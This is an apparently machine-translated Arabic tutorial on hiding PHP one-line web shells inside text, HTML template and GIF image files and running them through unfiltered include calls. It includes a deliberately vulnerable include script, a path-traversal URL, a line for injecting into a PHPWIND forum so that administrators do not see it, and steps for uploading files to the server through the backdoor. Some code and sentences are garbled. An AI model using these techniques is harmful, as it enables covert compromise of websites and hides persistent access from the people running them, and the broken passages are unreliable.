في الآونة الأخيرة، سألني العديد من الأصدقاء عما إذا كان بإمكاني إخفاء حصان طروادة المكون من جملة واحدة في ملفات HTML أو الصور. في الواقع، يعد إدراج حصان طروادة المكون من جملة واحدة في ملفات PHP مخفيًا جدًا بالفعل. دعونا نواصل قراءة تقرير الاختبار هذا. يجب أن تعلم أنه إذا قمت للتو بوضع عبارة PHP في الصورة، فلن يتم تنفيذها على أي حال، لأن PHP تقوم فقط بتحليل الملفات ذات الامتداد php. لذلك من الضروري أن تكون قادرًا على تنفيذ عبارات PHP المخفية في الصورة. نحن نستخدم فقط وظائف الاستدعاء في PHP: تضمين، طلب، وما إلى ذلك.
ما زلنا نتذكر مقال إخفاء أحصنة طروادة في الصور قبل أيام قليلة. أي، استخدم عبارات مثل include("x.gif") في ملف PHP لاستدعاء عبارات حصان طروادة المخفية في الصورة. البيانات في ASP متشابهة. يبدو الأمر مخفيًا للغاية، ولكن إذا قمت باستدعاء الصورة مباشرةً، فلن يكون من الصعب على شخص يعرف القليل عن PHP العثور على شيء مريب. نظرًا لصعوبة تمرير المعلمات باستخدام طريقة GET في عنوان URL، لا يمكن الاستفادة من أداء إدراج حصان طروادة بشكل كامل.
يتم استخدام وظيفة التضمين بشكل متكرر في PHP، لذا فهي تسبب الكثير من مشكلات الأمان. على سبيل المثال، ترجع ثغرة PHPWIND1.36 إلى عدم تصفية المتغيرات خلف التضمين. من هذا يمكننا إنشاء عبارات مماثلة لإدراجها في ملفات PHP. ثم قم بإخفاء حصان طروادة في صورة أو ملف HTML، والذي يمكن القول بأنه أكثر إخفاءًا. على سبيل المثال، أدخل العبارة التالية في منتدى PHPWIND: < ''?@include includ/.$PHPWIND_ROOT;? > لا يستطيع المسؤولون العامون رؤيتها.
بمساعدة وظيفة التضمين، يمكننا إخفاء أحصنة طروادة PHP في العديد من أنواع الملفات مثل ملفات txt وhtml وملفات الصور. ونظرًا لأن هذه الأنواع الثلاثة من الملفات، ملفات txt وhtml وملفات الصور، هي الأكثر شيوعًا في المنتديات وأنظمة المقالات، فسوف نقوم بإجراء الاختبارات بالترتيب أدناه.
قم أولاً بإنشاء ملف PHP test.php. محتوى الملف هو:
$
test=$_GET['test'];
@include
'test/'.$test;
طروادة المكونة من جملة واحدة لا بأس بالانتقال إلى ملف الوصف الخاص بالدليل. فقط قم بإنشاء ملف TXT t.txt. نقوم بلصق حصان طروادة المكون من جملة واحدة في ملف t.txt. ثم قم بزيارة http://localhost/test/test.php?test=../t.txt. إذا رأيت محتوى t.txt، فلا بأس، ثم قم بإضافة عنوان حصان طروادة لعميل PHP الخلفي الصغير إلى http Just أضف cmd إلى كلمة مرور ://localhost/test/test.php?test=../t.txt ، ويمكنك رؤية النتائج التي تم إرجاعها عن طريق التنفيذ.
بالنسبة لملفات HTML، فهي بشكل عام ملفات قالب. من أجل تمكين حصان طروادة المدرج في ملف HTML من أن يتم استدعاؤه وتنفيذه دون أن يتم عرضه، يمكننا إضافة مربع نص به سمات مخفية في HTML، مثل: ثم استخدم نفس الطريقة المذكورة أعلاه. يمكن رؤية نتائج التنفيذ بشكل عام من خلال عرض الملف المصدر. على سبيل المثال، استخدم وظيفة عرض دليل هذا البرنامج. من خلال عرض محتوى الملف المصدر، يمكنني الحصول على الدليل باسم C:Uniserver2_7swwwtest.
الآن دعونا نتحدث عن ملفات الصور، والخدعة الأكثر سمية هي إخفاء حصان طروادة في الصورة. يمكننا تحرير الصورة مباشرة وإدراجها في نهاية الصورة،
وبعد الاختبار لن يؤثر ذلك على الصورة بشكل عام. ثم أضف عنوان حصان طروادة للعميل بنفس الطريقة
ونتحقق من متغيرات بيئة PHP والنتيجة التي تم إرجاعها هي الصورة الأصلية.
قد تكون هناك بعض الاختلافات بين النتائج هنا وما تخيلناه، في الواقع، تم تشغيل الأمر، ولكن لا يمكن رؤية النتائج التي تم إرجاعها، لأن هذا ملف GIF حقيقي، ولن يتم عرض النتائج إثبات ما إذا كان قد تم تنفيذه بالفعل أم لا. بعد استلام الأمر، نقوم بتنفيذ أمر تحميل الملف. كما هو متوقع، تم تحميل الملف بنجاح إلى الخادم. وميزة هذا التزوير هو أنه مخفي بشكل جيد. وغني عن القول أن العيب هو عدم وجود استجابة. إذا كنت تريد رؤية النتائج التي تم إرجاعها، فأخرج برنامج "المفكرة" وأنشئ ملف صورة مزيفًا.
في هذه المرحلة، يكون الاختبار قد اكتمل بشكل أساسي. تعتمد كيفية إخفاء الباب الخلفي لـ PHP على اختيارك. الكتابة مستعجلة، إذا كان هناك أي خطأ، يرجى الإشارة إليه!